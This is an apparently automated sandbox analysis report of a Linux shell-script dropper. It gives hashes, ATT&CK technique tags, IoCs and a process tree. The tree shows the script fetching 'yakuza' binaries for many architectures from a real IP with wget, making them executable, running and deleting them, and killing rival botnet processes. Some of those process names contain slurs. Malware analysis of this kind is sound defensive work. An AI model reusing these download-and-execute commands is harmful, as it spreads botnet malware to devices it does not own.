37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7

Analysis

max time kernel
150s
max time network
156s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18-11-2024 02:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
Size

1KB
MD5

b5a7f5f630bc2eee5f8a30ecc75b3e9c
SHA1

adc6352bb1ca055207d877c1fb3c7486adc0be20
SHA256

37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7
SHA512

ad8c3562b969fa3f6ae958cde6202dace4fbabbf8da1d5c57e89cb707b77fd2e76154df4a5d4a719eb931763fa70de9d224b4c29f93320db5251c5acfc5ff679

Score

7^/10

defense_evasion discovery execution

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
825	chmod
863	chmod
681	chmod
761	chmod
769	chmod
784	chmod
803	chmod
844	chmod
671	chmod
689	chmod
705	chmod
722	chmod
746	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/yakuza.mips	673	yakuza.mips

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 64 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
1149	sh
1172	sh
1223	sh
1466	sh
888	sh
1049	sh
1138	sh
1442	sh
1600	sh
1639	sh
1761	sh
1797	sh
1894	Process not Found
879	sh
1236	sh
1283	sh
1503	sh
1552	sh
1724	sh
1809	sh
1882	Process not Found
1405	sh
2042	Process not Found
1114	sh
1369	sh
1748	sh
1318	sh
1381	sh
1540	sh
1945	Process not Found
938	sh
996	sh
1090	sh
1161	sh
1611	sh
1626	sh
1773	sh
2015	Process not Found
951	sh
1102	sh
1697	sh
1845	Process not Found
1857	Process not Found
1933	Process not Found
1993	Process not Found
2055	Process not Found
914	sh
1126	sh
1576	sh
1823	Process not Found
1981	Process not Found
1034	sh
1211	sh
1274	sh
1345	sh
1357	sh
1588	sh
1906	Process not Found
867	sh
1415	sh
1430	sh
1529	sh
1834	Process not Found
982	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/726/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/978/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/41/cmdline	Process not Found
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/600/cmdline	pkill
File opened for reading	/proc/12/status	Process not Found
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/41/cmdline	pkill
File opened for reading	/proc/145/cmdline	pkill
File opened for reading	/proc/3/cmdline	Process not Found
File opened for reading	/proc/830/status	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/848/status	Process not Found
File opened for reading	/proc/647/cmdline	Process not Found
File opened for reading	/proc/151/status	Process not Found
File opened for reading	/proc/145/status	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/108/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/23/status	Process not Found
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/139/status	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/140/cmdline	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/151/cmdline	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/727/status	pkill
File opened for reading	/proc/262/status	Process not Found
File opened for reading	/proc/274/cmdline	Process not Found
File opened for reading	/proc/727/cmdline	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/4/cmdline	Process not Found
File opened for reading	/proc/724/status	pkill
File opened for reading	/proc/831/status	pkill
File opened for reading	/proc/106/cmdline	pkill
File opened for reading	/proc/140/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/139/cmdline	Process not Found
File opened for reading	/proc/19/status	Process not Found
File opened for reading	/proc/307/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/849/cmdline	pkill
File opened for reading	/proc/646/cmdline	Process not Found
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/28/cmdline	Process not Found
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/727/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/278/cmdline	pkill
File opened for reading	/proc/587/cmdline	pkill

System Network Configuration Discovery 1 TTPs 18 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
678	wget
1679	pkill
1684	busybox
1744	pkill
1770	sh
1777	busybox
1774	pkill
651	wget
676	rm
682	yakuza.mipsel
684	rm
1745	busybox
1773	sh
673	yakuza.mips
1678	sh
1743	sh
1771	pkill
1772	busybox

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yakuza.arm4	wget
File opened for modification	/tmp/yakuza.arm5	wget
File opened for modification	/tmp/yakuza.mips	wget
File opened for modification	/tmp/yakuza.mipsel	wget
File opened for modification	/tmp/yakuza.sh	wget
File opened for modification	/tmp/yakuza.x86	wget
File opened for modification	/tmp/yakuza.i686	wget
File opened for modification	/tmp/yakuza.i586	wget
File opened for modification	/tmp/yakuza.arm6	wget
File opened for modification	/tmp/yakuza.ppc	wget
File opened for modification	/tmp/yakuza.m68k	wget
File opened for modification	/tmp/yakuza.arm7	wget
File opened for modification	/tmp/yakuza.sparc	wget

/tmp/37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
/tmp/37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
1⤵
PID:648
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:651
- /bin/chmod
  chmod +x yakuza.mips
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/yakuza.mips
  ./yakuza.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:673
- /bin/rm
  rm -rf yakuza.mips
  2⤵
  - System Network Configuration Discovery
  PID:676
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod +x yakuza.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/yakuza.mipsel
  ./yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:682
- /bin/rm
  rm -rf yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:684
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.sh
  2⤵
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod +x yakuza.sh
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/yakuza.sh
  ./yakuza.sh
  2⤵
  PID:690
- /bin/rm
  rm -rf yakuza.sh
  2⤵
  PID:693
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.x86
  2⤵
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod +x yakuza.x86
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/yakuza.x86
  ./yakuza.x86
  2⤵
  PID:707
- /bin/rm
  rm -rf yakuza.x86
  2⤵
  PID:710
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm6
  2⤵
  - Writes file to tmp directory
  PID:711
- /bin/chmod
  chmod +x yakuza.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/yakuza.arm6
  ./yakuza.arm6
  2⤵
  PID:723
- - /bin/sh
    sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:728
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      Reads CPU attributes
      PID:729
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:733
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:753
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      PID:754
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:757
- - /bin/sh
    sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    PID:766
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      Reads CPU attributes
      PID:767
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:768
- - /bin/sh
    sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    PID:777
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      PID:778
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:781
- - /bin/sh
    sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:796
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      PID:797
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:800
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:819
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:820
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:823
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:841
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:842
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:843
- - /bin/sh
    sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    PID:857
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      PID:859
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:862
- - /bin/sh
    sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    PID:874
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      PID:875
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:877
- - /bin/sh
    sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:883
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      Reads runtime system information
      PID:885
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:889
- - /bin/sh
    sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    PID:895
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      PID:896
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:904
- - /bin/sh
    sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    PID:908
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      PID:909
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:910
- - /bin/sh
    sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:920
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      PID:921
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:922
- - /bin/sh
    sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:929
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      Reads CPU attributes
      PID:930
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:934
- - /bin/sh
    sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    PID:941
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      PID:942
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:946
- - /bin/sh
    sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    PID:952
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      Reads CPU attributes
      PID:955
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:958
- - /bin/sh
    sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:964
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      PID:966
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:974
- - /bin/sh
    sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:981
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      PID:983
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:988
- - /bin/sh
    sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    PID:995
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      PID:998
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:1000
- - /bin/sh
    sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    PID:1007
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      PID:1011
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:1015
- - /bin/sh
    sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    PID:1019
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      Reads runtime system information
      PID:1020
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:1026
- - /bin/sh
    sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    PID:1031
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      PID:1032
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:1033
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1043
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:1044
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1045
- - /bin/sh
    sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    PID:1053
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      Reads CPU attributes
      PID:1055
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:1057
- - /bin/sh
    sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    PID:1067
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      PID:1068
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:1071
- - /bin/sh
    sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    PID:1078
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      PID:1081
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:1084
- - /bin/sh
    sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:1092
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      PID:1093
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:1097
- - /bin/sh
    sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:1105
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      PID:1106
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:1109
- - /bin/sh
    sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    PID:1117
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      Reads CPU attributes
      PID:1118
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:1121
- - /bin/sh
    sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    PID:1129
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      PID:1130
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:1133
- - /bin/sh
    sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    PID:1141
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1142
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1144
- - /bin/sh
    sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:1153
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      PID:1154
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:1155
- - /bin/sh
    sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:1167
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      PID:1168
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:1175
- - /bin/sh
    sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    PID:1179
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      Reads CPU attributes
      PID:1180
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:1181
- - /bin/sh
    sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    PID:1191
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      PID:1192
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:1193
- - /bin/sh
    sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:1201
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      PID:1202
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:1205
- - /bin/sh
    sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:1213
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      PID:1214
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1217
- - /bin/sh
    sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    PID:1224
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      PID:1225
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1228
- - /bin/sh
    sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1237
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      PID:1239
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1243
- - /bin/sh
    sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    PID:1251
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      Reads CPU attributes
      PID:1254
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1260
- - /bin/sh
    sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    PID:1266
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      Reads CPU attributes
      PID:1269
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1272
- - /bin/sh
    sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    PID:1278
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      Reads runtime system information
      PID:1281
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1286
- - /bin/sh
    sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    PID:1290
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      PID:1294
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1297
- - /bin/sh
    sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1301
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      PID:1302
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1309
- - /bin/sh
    sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    PID:1313
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      PID:1314
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1315
- - /bin/sh
    sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    PID:1325
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      Reads CPU attributes
      PID:1326
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:1327
- - /bin/sh
    sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    PID:1337
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      PID:1338
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:1341
- - /bin/sh
    sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    PID:1349
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      PID:1350
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:1353
- - /bin/sh
    sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:1362
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      Reads CPU attributes
      PID:1363
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:1365
- - /bin/sh
    sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    PID:1374
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      PID:1375
  - - /bin/busybox
      busybox pkill -9 SAIAKUSO
      4⤵
      PID:1377
- - /bin/sh
    sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:1386
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      PID:1387
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:1391
- - /bin/sh
    sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:1398
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      PID:1399
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:1403
- - /bin/sh
    sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    PID:1411
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      PID:1412
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:1416
- - /bin/sh
    sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:1425
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      Reads CPU attributes
      PID:1426
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:1428
- - /bin/sh
    sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    PID:1437
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      Reads runtime system information
      PID:1438
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:1439
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:1449
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:1450
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1451
- - /bin/sh
    sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    PID:1461
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1462
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:1463
- - /bin/sh
    sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:1472
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      Reads runtime system information
      PID:1473
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:1475
- - /bin/sh
    sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    PID:1484
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      PID:1486
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:1487
- - /bin/sh
    sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    PID:1496
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      PID:1497
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:1499
- - /bin/sh
    sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    PID:1508
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      PID:1509
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:1511
- - /bin/sh
    sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    PID:1520
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      PID:1521
  - - /bin/busybox
